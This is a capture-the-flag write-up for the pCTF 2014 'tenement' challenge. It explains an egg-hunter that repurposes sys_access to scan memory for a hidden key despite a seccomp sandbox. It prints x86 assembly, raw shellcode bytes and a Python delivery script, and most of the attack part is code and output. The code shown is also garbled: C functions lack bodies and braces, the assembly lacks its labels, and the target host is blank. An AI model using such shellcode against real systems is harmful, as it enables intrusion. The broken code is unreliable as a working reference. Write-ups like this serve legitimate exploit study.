pCTF 2014: tenement

2014-04-13 00:00:00


The Plague has tried to make things easy for you in this service, but not too easy. He's called The Plague, not The Nice Guy. The service should be running at


$ file tenement
tenement: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0x05040d3228539e5e9c4f87de70a408bc40f2df5d, stripped
$ execstack tenement
X tenement

tenement uses stdio for communication. it is served using socat or inetd that redirects stdio to network sockets.

  1. The key is loaded from disk, prepended with "PPPP:", and copied to unknown memory regions created by mmap(). The location of these regions is not retained by tenement. They are effectively lost in memory (except maybe some residue on the stack).
  2. seccomp_init() is called and a series of seccomp_ruleadd() are called. This creates a white-list of allowable system calls. sys_execve is not in this list.
  3. 128 bytes are read()'d from stdin to a stack buffer, then call'd as executable instructions. This is allowed because the stack segment is marked as executable.


Because seccomp_* has banned the use of sys_execve, the shellcode passed to tenement can't just spawn a shell. Another technique must be used to obtain the key.

The key is loaded into memory somewhere. It just has to be found. Because the key was prepended with "PPPP: " , all of memory can be searched for the integer 0x50505050 to find possible locations of the key.

To naively search memory locations 0x00000000 through 0xFFFFFFFF would generate segment faults. A technique used by shellcode egg hunters to avoid segmentation faults is to repurpose sys_access to test if a memory region is readable before accessing it.

#include <unistd.h>

       int access(const char *pathname, int mode);

access() is used to check the current users permissions for a file, but before the kernel checks permissions, it verifies that pathname points to a valid memory location for the requesting process. If pathname is not valid memory for the process, an error is returned and errno is set to EFAULT.

In the case of running a 32-bit kernel, the search space of 0x00000000 through 0xFFFFFFFF can be decreased to 0x00000000 through 0xBFFFFFFF because kernel space begins at 0xC0000000. Furthermore, only the first 4 bytes of each page need to be checked for 0x50505050 because mmap() always page-aligns new mappings.

This example demonstrates repurposing access() to search all userspace for an a key.


#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>

void hide_egg(){
        char *egg;
        int i;
        egg = mmap(NULL, 1024*4, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        strcpy(egg, "pppp: you found me!");
        for(i = 0; i < 4; i++)
                egg[i] -= 0x20;

void find_egg(){
        char *page;
        for(page = 0; page < (char *)0xC0000000; page += 1024*4){
                if(access(page, 0) == 0 || errno != EFAULT){
                        if(*(unsigned int *)page == 0x50505050){

int main(int argc, char *argv[]){
        return 0;


$ ./pppphunt
PPPP: you found me!


To run this procedure on tenement, it must be converted to position-independent assembly.


.section .text
.global _start


        mov $0, %edx
        add $0x1000, %edx
        cmp $0xC0000000, %edx
        ja exit

        mov $33, %eax   # sys_access(char *pathname, int mode)
        mov %edx, %ebx  # pathname
        mov $0, %ecx    # mode
        int $0x80

        cmp $0xfffffff2, %eax
        jz loop

        mov (%edx), %eax
        cmp $0x50505050, %eax
        jnz loop

        push %edx

        movl $0x4, %eax  #sys_write(int fd, void *buff, size_t count)
        movl $0x1, %ebx  #fd
        movl %edx, %ecx  #buff
        movl $0x20, %edx #count
        int $0x80

        pop %edx

        jmp loop
        mov $0x1, %eax # sys_exit(int status)
        mov $0x0, %ebx # int status
        int $0x80


$ as -o pppphunt.o pppphunt.s
$ ld -o pppphunt pppphunt.o
$ objcopy -O binary --only-section=.text pppphunt pppphunt.bin
$ xxd -g 1 pppphunt.bin
0000000: ba 00 00 00 00 81 c2 00 10 00 00 81 fa 00 00 00  ................
0000010: c0 77 33 b8 21 00 00 00 89 d3 b9 00 00 00 00 cd  .w3.!...........
0000020: 80 83 f8 f2 74 df 8b 02 3d 50 50 50 50 75 d6 52  ....t...=PPPPu.R
0000030: b8 04 00 00 00 bb 01 00 00 00 89 d1 ba 20 00 00  ............. ..
0000040: 00 cd 80 5a eb bf b8 01 00 00 00 bb 00 00 00 00  ...Z............
0000050: cd 80                                            ..

import telnetlib

shellcode = ""
shellcode += "\xba\x00\x00\x00\x00\x81\xc2\x00\x10\x00\x00\x81\xfa\x00\x00\x00"
shellcode += "\xc0\x77\x33\xb8\x21\x00\x00\x00\x89\xd3\xb9\x00\x00\x00\x00\xcd"
shellcode += "\x80\x83\xf8\xf2\x74\xdf\x8b\x02\x3d\x50\x50\x50\x50\x75\xd6\x52"
shellcode += "\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xd1\xba\x20\x00\x00"
shellcode += "\x00\xcd\x80\x5a\xeb\xbf\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00"
shellcode += "\xcd\x80"

t = telnetlib.Telnet("", 9999)



Action Shot

$ ./
PPPP: Wub-a-lubba-dub-dub*** Connection closed by remote host ***